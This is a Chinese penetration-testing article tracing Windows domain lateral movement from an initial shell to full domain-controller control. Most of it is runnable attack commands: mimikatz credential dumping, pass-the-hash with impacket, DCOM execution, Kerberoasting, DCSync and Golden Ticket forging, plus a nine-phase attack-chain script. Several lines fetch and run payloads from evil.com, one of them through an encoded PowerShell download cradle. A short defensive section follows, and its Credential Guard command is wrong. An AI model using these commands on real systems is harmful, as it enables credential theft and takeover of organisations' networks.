首页 / 文章 / 渗透测试

内网横向移动技术全景:从单机沦陷到域控

一、引言

在红队实战中,“拿下一台机器"从来不是终点——横向移动(Lateral Movement)才是决定内网渗透成败的核心环节。从初始立足点(Initial Foothold)到最终拿下域控制器(Domain Controller),攻击者需要穿越层层网络边界、窃取凭据、提升权限。本文将按照真实攻防节奏,从信息收集开始,一步步走到域控权限的完整横向移动技术链。


二、阶段一:内网信息收集

2.1 基本态势感知

获得初始 Shell 后,第一要务是搞清楚"我在哪”、“周围有什么”。

# === 主机信息 ===
hostname
whoami
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
ipconfig /all

# === 域信息 ===
net user /domain                    # 域用户列表
net group /domain                   # 域组列表
net group "Domain Admins" /domain   # 域管理员
net group "Enterprise Admins" /domain
nltest /dclist:corp.local           # 域控列表
nltest /dsgetdc:corp.local          # 当前域控

# === 网络拓扑 ===
netstat -ano                        # 当前连接
route print                         # 路由表
arp -a                              # ARP 表
net view /domain                    # 域内主机

2.2 自动化信息收集脚本(PowerShell)

# 一站式内网信息收集
function Invoke-InternalRecon {
    $output = @{}
    
    # 域信息
    try {
        $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        $output.Domain = $domain.Name
        $output.DomainControllers = $domain.DomainControllers | % { $_.Name }
        $output.Forest = $domain.Forest.Name
    } catch { $output.Domain = "WORKGROUP" }
    
    # 本地用户与权限
    $output.LocalUsers = Get-LocalUser | Select Name, Enabled, LastLogon
    $output.LocalAdmins = Get-LocalGroupMember Administrators | Select Name
    
    # 网络接口
    $output.NetworkAdapters = Get-NetIPAddress -AddressFamily IPv4 | 
        Where { $_.InterfaceAlias -notmatch "Loopback" } |
        Select InterfaceAlias, IPAddress, PrefixLength
    
    # 服务端口
    $output.ListeningPorts = Get-NetTCPConnection -State Listen |
        Select LocalAddress, LocalPort, OwningProcess |
        Group LocalPort | Select Count, Name
    
    return $output
}

Invoke-InternalRecon | ConvertTo-Json -Depth 3

2.3 BloodHound 采集

# SharpHound 数据采集(攻击者视角)
# 上传 SharpHound.exe 或使用 Ingestor
.\SharpHound.exe -c All,LoggedOn --zipfilename recon.zip

# 收集完成后导入 BloodHound 分析攻击路径
# 关键查询:
#   - Find Shortest Path to Domain Admins
#   - Find Principals with DCSync Rights
#   - Find Kerberoastable Users

三、阶段二:凭据窃取

3.1 LSASS 内存凭据提取

# 方法1:使用 mimikatz(需要高权限运行)
# 先提权到 SYSTEM
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 输出示例:
# Authentication Id : 0 ; 123456
# User Name         : jsmith
# Domain            : CORP
# NTLM              : aad3b435b51404eeaad3b435b51404ee
# SHA1              : da39a3ee5e6b4b0d3255bfef95601890afd80709
# 方法2:Procdump + Mimikatz(避免杀软检测 mimikatz 本体)
# 导出 LSASS 进程内存
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

# 离线提取凭据
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

3.2 注册表凭据提取

# SAM 数据库(本地用户哈希)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# 使用 secretsdump.py 离线提取
# secretsdump.py -sam sam.hive -system system.hive LOCAL

# 缓存的域凭据提取(MSCache2)
reg save HKLM\SECURITY security.hive
# secretsdump.py -security security.hive -system system.hive LOCAL

3.3 常见凭据位置清单

# 1. 浏览器保存的密码
# Chromium: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# Firefox:  %APPDATA%\Mozilla\Firefox\Profiles\*\logins.json

# 2. PowerShell 历史记录
# %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# 3. 配置文件中的明文密码
# web.config, app.config, .env, connectionStrings.xml
dir /s /b C:\inetpub\wwwroot\web.config
dir /s /b C:\*.env

# 4. 计划任务中的凭据
schtasks /query /fo LIST /v | findstr /i "PASSWORD\|CREDENTIAL"

# 5. 组策略首选项(GPP)密码
# \\corp.local\SYSVOL\corp.local\Policies\*\MACHINE\Preferences\Groups\Groups.xml
# 使用 gpp-decrypt 解密 cpassword

四、阶段三:横向移动技术

4.1 Pass-the-Hash(哈希传递)

当获取 NTLM Hash 但无法破解明文密码时使用:

# 使用 crackmapexec 验证哈希有效性
crackmapexec smb 10.0.1.0/24 -u jsmith -H aad3b435b51404eeaad3b435b51404ee

# 使用 impacket 套件
# wmiexec — 通过 WMI 远程执行(无文件落地)
wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50

# psexec — 通过 SMB + 服务执行
psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50

# smbexec — 通过 SMB + 服务创建(规避 EDR 行为检测)
smbexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50

# atexec — 计划任务执行
atexec.py -hashes :aad3b435b51404eeaad3b435b51404ee CORP/jsmith@10.0.1.50 "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGUAdgBpAGwALgBjAG8AbQAvAGIAZQBhAGMAbwBuACcAKQA="

4.2 PSExec 原理深度解析

PSExec 执行流程:
1. 通过 SMB (445) 连接到目标 ADMIN$ 共享
2. 上传 psexesvc.exe 到 \\target\ADMIN$\system32\
3. 通过 SCM(Service Control Manager)创建并启动临时服务
4. psexesvc.exe 创建命名管道与攻击机通信
5. 攻击结束后停止并删除服务
# PowerShell 版 PSExec(不落地文件)
$computer = "WS01"
$cmd = "powershell -enc <base64_payload>"

# 方法1:Invoke-WmiMethod
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $cmd -ComputerName $computer

# 方法2:WMI 远程创建进程
$wmi = [WMIClass]"\\$computer\root\cimv2:Win32_Process"
$wmi.Create($cmd)

# 方法3:WinRM (5985/5986)
Invoke-Command -ComputerName $computer -ScriptBlock { 
    # 在此处执行命令
    whoami; hostname
} -Credential $cred

4.3 DCOM 横向移动

# MMC20.Application COM 对象(Office 安装后可用)
$mmc = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("MMC20.Application.1", "10.0.1.50")
)
$mmc.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c calc.exe", "7")

# Excel.Application DCOM
$excel = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", "10.0.1.50")
)
$excel.DisplayAlerts = $false
$excel.DDEInitiate("cmd.exe", "/c powershell.exe -enc <payload>")

# ShellWindows — 获取已登录用户的 Explorer
$shell = [activator]::CreateInstance(
    [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "10.0.1.50")
)
foreach ($item in $shell) {
    $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "", $null, 0)
}

4.4 SSH / 第三方服务横向

# 利用存储的 SSH 密钥
ssh -i stolen_id_rsa user@10.0.1.60

# 利用 Ansible 主机
# 从 /etc/ansible/hosts 发现目标
ansible all -i /etc/ansible/hosts -m shell -a "wget http://evil.com/beacon -O /tmp/b"

# 利用 WinRM (HTTP/5985 或 HTTPS/5986)
evil-winrm -u jsmith -H aad3b435b51404eeaad3b435b51404ee -i 10.0.1.50

五、阶段四:域渗透与提权

5.1 Kerberoasting 攻击

任何域用户都可以请求域内服务账户的 TGS 票据,票据使用服务账户的 NTLM 哈希加密,可离线爆破。

# 方法1:Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.0.1.10 CORP/jsmith -outputfile kerberoast.hashes

# 方法2:Rubeus(Windows 原生,更隐蔽)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt

# 输出格式:
# $krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc/ws01.corp.local*$ab12cd34...

# 离线爆破
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
john --format=krb5tgs kerberoast.txt --wordlist=rockyou.txt

5.2 AS-REP Roasting

无需域凭据即可发起,针对未启用 Kerberos 预认证的用户:

# Impacket
GetNPUsers.py CORP/ -dc-ip 10.0.1.10 -usersfile users.txt -format hashcat -outputfile asrep.hashes

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# 爆破
hashcat -m 18200 asrep.hashes rockyou.txt --force

5.3 DCSync — 终极域控攻击

DCSync 攻击复制域控的 NTDs.dit,获取域内所有用户哈希(包括 KRBTGT):

# 需要以下权限之一:
#   - Domain Admins
#   - Enterprise Admins
#   - 具有 "Replicating Directory Changes" 权限的账户

# 使用 Mimikatz
mimikatz # lsadump::dcsync /domain:corp.local /all /csv

# 使用 Impacket secretsdump
secretsdump.py -just-dc 'CORP/jsmith:Password123@10.0.1.10'
secretsdump.py -just-dc-ntlm 'CORP/jsmith@10.0.1.10' -hashes :aad3b435b51404ee

# 输出包含:
#   Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#   krbtgt:502:aad3b435b51404eeaad3b435b51404ee:afd365dc...

5.4 Golden Ticket — 域持久化

# 前提:已经获取 KRBTGT 哈希 + 域 SID
# 域 SID 获取
# whoami /user → CORP\jsmith → SID: S-1-5-21-1234567890-1234567890-1234567890-1105
# 域 SID: S-1-5-21-1234567890-1234567890-1234567890

# 使用 Mimikatz 生成 Golden Ticket
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /krbtgt:afd365dc... /user:Administrator /id:500 \
    /groups:512,513,514,515,516,518,519,520 \
    /ptt

# 验证
mimikatz # kerberos::list
# 现在可以访问域内任意资源
dir \\dc01.corp.local\c$

# Impacket ticketer.py 生成
ticketer.py -nthash afd365dc... -domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
    -domain corp.local Administrator

# 导出 ticker 并注入
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass CORP/Administrator@dc01.corp.local

六、完整攻击链实战演示

#!/bin/bash
# ====================================
# 横向移动完整攻击链
# 从 WebShell → 域控 全流程
# ====================================

# Phase 1: 初始立足点(Web 漏洞获取 Shell)
# 假设已通过 SQL 注入拿到 www-data 权限
target="10.0.1.20"  # Web 服务器 IP

# Phase 2: 提权到 SYSTEM/LOCAL
echo "[*] Phase 2: Privilege Escalation"
# 使用 Potato 系列提权或内核漏洞
curl -o /tmp/juicy.exe http://evil.com/JuicyPotatoNG.exe
./juicy.exe -t * -p "C:\\windows\\system32\\cmd.exe" -a "/c curl http://evil.com/c"

# Phase 3: 内网扫描与信息收集
echo "[*] Phase 3: Internal Recon"
# 从 C2 Beacon 执行
net view /domain
ping -n 1 dc01.corp.local
nltest /dclist:corp.local

# Phase 4: 凭据提取
echo "[*] Phase 4: Credential Dumping"
# 上传 procdump64 + mimikatz
# → 获取 Domain User 凭据: corp.local\svc_web:Spring2024!

# Phase 5: 横向移动至跳板机
echo "[*] Phase 5: Lateral Movement"
wmiexec.py corp.local/svc_web:'Spring2024!'@10.0.1.30
# 在跳板机上重复信息收集

# Phase 6: Kerberoasting
echo "[*] Phase 6: Kerberoasting"
GetUserSPNs.py -request -dc-ip 10.0.1.10 corp.local/svc_web:'Spring2024!'
hashcat -m 13100 kerberoast.txt rockyou.txt
# → 破解得到 svc_mssql:DatabasePass2024!

# Phase 7: 横向移动至 SQL Server
echo "[*] Phase 7: Move to SQL Server"
wmiexec.py corp.local/svc_mssql:'DatabasePass2024!'@10.0.1.40

# Phase 8: 发现 svc_mssql 有 DCSync 权限
# BloodHound 查询: MATCH (u:User)-[:MemberOf]->(g:Group) 
#                  WHERE g.objectid ENDS WITH '-512' return u
echo "[*] Phase 8: DCSync"
secretsdump.py -just-dc corp.local/svc_mssql:'DatabasePass2024!'@10.0.1.10
# → 导出所有域哈希,包括 KRBTGT

# Phase 9: Golden Ticket + 域控登录
echo "[*] Phase 9: Domain Dominance"
# 生成 Golden Ticket
ticketer.py -nthash <krbtgt_hash> -domain-sid <domain_sid> \
    -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
# → 完全控制域控制器

七、防御方案

7.1 预防凭据窃取

# 1. 启用 LSA Protection
# 注册表: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# RunAsPPL = 1 (需要 Secure Boot 配合)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# 2. 启用 Credential Guard
# 需要 Hyper-V + Secure Boot + TPM 2.0
Enable-WindowsOptionalFeature -Online -FeatureName Windows-Defender-ApplicationGuard

# 3. 使用 Managed Service Accounts(MSA/gMSA)
# 替代普通服务账户,自动轮换密码
New-ADServiceAccount -Name svc_mssql -RestrictToSingleComputer

# 4. 部署 LAPS(Local Administrator Password Solution)
# 每台计算机本地管理员密码唯一且定期轮换

7.2 阻断横向移动

措施 说明 实施难度
网络分段 VLAN/子网隔离,DMZ、应用层、数据层分开
SMB 签名 强制 SMB 签名防止中继攻击
禁用 NTLMv1 仅允许 NTLMv2 和 Kerberos
限制 PSExec/WMI 应用控制策略禁止非授权远程管理
RDP Restricted Admin 防止凭据缓存到目标机器
JEA (Just Enough Administration) PowerShell 约束模式

7.3 检测指标(IOC)

# 检测横向移动的可疑行为
# Windows Event ID 监控清单:

# 4624: 登录成功(注意 LogonType 3=Network, 10=RemoteInteractive)
# 4625: 登录失败(大量失败后成功 = 暴力破解)
# 4648: 使用显式凭据尝试登录
# 4672: 特殊权限分配给新登录
# 4688: 进程创建(注意异常父进程链)
# 4697: 服务安装(PSExec 特征)
# 4720/4722/4726: 账户变更
# 4768/4769: Kerberos TGT/TGS 请求
# 4771: Kerberos 预认证失败(AS-REP Roasting 特征)
# 7045: 新服务被安装(PSExec 特征)
# 5140: 网络共享访问(C$ ADMIN$ 访问)

# Splunk 检测规则示例
sourcetype="WinEventLog:Security" EventCode=4624 LogonType=3
| where NOT (user IN ("ANONYMOUS LOGON", "LOCAL SERVICE", "NETWORK SERVICE"))
| stats count by user, src_ip, dest, ComputerName
| where count > 20
| table user, src_ip, dest, count

八、总结

内网横向移动是一场"跳板逐级递进"的持久战。从单机 Code Execution 到域控 Full Control,攻击者需要灵活运用信息收集、凭据窃取、多种横向技术组合。关键要点:

  1. 凭据为王——NTLM Hash、Kerberos Ticket、明文密码同等危险
  2. 路径规划——BloodHound 揭示的攻击路径往往是防御的盲区
  3. 动静结合——PSExec 留下大量日志,DCOM/WinRM 更隐蔽但仍可检测
  4. 纵深防御——单一防线必然被突破,LSA Protection + 网络分段 + 日志监控构成三位一体

红队的目标不是"不被发现",而是"在被发现之前达成目标"。蓝队的目标是"在目标达成之前发现并阻断"——这是一场永不停息的博弈。